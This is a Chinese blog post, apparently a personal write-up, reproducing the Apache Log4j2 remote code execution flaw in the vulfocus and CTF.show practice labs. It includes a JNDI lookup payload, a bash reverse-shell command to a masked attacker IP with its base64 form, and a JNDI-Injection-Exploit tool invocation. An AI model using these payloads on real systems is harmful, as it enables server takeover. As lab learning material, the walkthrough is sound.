0x00 前言

作者：Moco

慢慢的距离上次写文章已过去了377天，这一年发生了好多好多的事，经历了好多好多的变故，或喜或悲、或分或合、起起落落，整整的一年了得，没怎么好好学习，没怎么认真的钻研技术，对自己表示很抱歉，违背了“白帽守则”，让我们重温一下“白帽守则”：

白帽守则第一页第一条，心中无女人，挖洞自然神。

白帽守则第一页第二条，只有不努力的白帽，没有挖不到的漏洞

对此我深表歉意、望大家以我为戒，踏踏实实的深入贯彻落实“白帽守则”，切实维护祖国网络空间安全。

0x01 漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

12 月 10 日凌晨，Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开，由于 Log4j 的广泛使用，该漏洞一旦被攻击者利用会造成严重危害。据悉，Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。可能的受影响应用包括但不限于：Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。很多互联网企业都连夜做了应急措施。截至本文发出，斗鱼、京东、网易、深信服和汽车产业安全应急响应中心皆发文表示，鉴于该漏洞影响范围比较大，业务自查及升级修复需要一定时间，暂不接收 Log4j2 相关的远程代码执行漏洞。

0x02 漏洞影响

危险等级

高危

影响版本

Apache Log4j 2.x <= 2.15

0x03 靶场环境

本次用的是vulfocus和CTF.show搭建好的环境，毕竟自己比较懒，不喜欢搭环境。

vulfocus靶场环境地址：http://vulfocus.fofa.so/#/dashboard

选择：Log4j2远程命令执行

CTF.show靶场环境地址：https://ctf.show/challenges#Log4j复现-1730

0x04 漏洞验证与复现

启动环境

首先我们启动Log4j2远程命令执行的环境，给我们了提示了环境测试url：http://xxxxx/hello 和post参数为：payload=xxxxx。

开始测试

我们去访问vulfocus给开启的环境http://vulfocus.fofa.so:57105/hello

springboot 默认页面，大哥说他不支持get请求，根据提示，默认传参为post参数为：payload=xxxxx。

开启HackBar构造POST包

Ok了！！他ok了！！！，说明我们这个功能可以正常使用，那我们去寻找可以利用的payload，给同事要了篇文章https://www.cnblogs.com/0x200/p/15692319.html，从里面找到了利用的payload：

payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}

复现成功

输入payload，发包，稍等一分钟，dnslog就收到了回显，这是我们可以证明存在Log4j2远程命令执行漏洞。

反弹shell

我们去在寻找反弹shell的payload与利用方法

首先

准备反弹shell的命令payload

bash -i >& /dev/tcp/1x.16x.x9.1x/1235 0>&1

并将其进行base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xeC4xNngueDkuMXgvMTIzNSAwPiYx

然后用大哥给的工具，生成payload

工具地址：https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

运行

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xeC4xNngueDkuMXgvMTIzNSAwPiYx}|{base64,-d}|{bash,-i}" -A "1x.16x.x9.1x "

一般我们选择第三个（JDK 没有版本的那个）payload进行攻击，服务器上开启nc监听

一波三折

由于vulfocus的环境访问的人数过多，反弹shell过慢，容易把环境卡死，故换成ctf.show的靶场进行复现，前面步骤都是一样的，不过ctf.show的不能开启动】hackbar和burp进行发包，只能通过前台登录口处进行发包请求，直接粘入payload，发包，成功反弹到shell。

输入env即可获取flag。

不忘初心

一开始是用的我Windows服务器进行反弹的，但是听我同事说windows的nc监听和Linux的不一样，当时一直以为是监听命令错了呢，最后才发现是环境有问题，使用的人太多了谈不过来了（ps此处没有打错字，就是“谈”，意思自行理解），其余步骤和上面的都一样。

附上windows监听的命令

 nc.exe -l -p 端口

再次打开ctf.show的环境成功反弹

总结与反思

世上无难事只要肯放弃！其实有很多时候我都感觉我是不是入错行，我是不是不适合干攻防渗透，一个洞，站在那么多大佬写的文章，和同事小伙伴的手把手教学，就那三四个步骤，两三条命令，我一错再错，什么忘监听端口了，什么端口没改拉，总之各种细节都把握的不够好，希望自己吧以后可以仔细仔细再仔细，无论遇到什么事情，都要去平淡的去看待他，慢慢来。

首先呢我在这遇到的第一个问题就是吧小写的‘l’，看成了大写的’I’,后面又遇到了生成dnslog打不开，特别慢的事故，后面又遇到了生成payload时Java报错说占用的情况，在同事的帮助下使用netstat -no | grep 2222查看端口，ps -ef | grep java查看Java的进程，kill -9 2422591杀掉了原来的Java进程解决的，后来用payload打的时候，还忘监听了。真的是，太不细心了。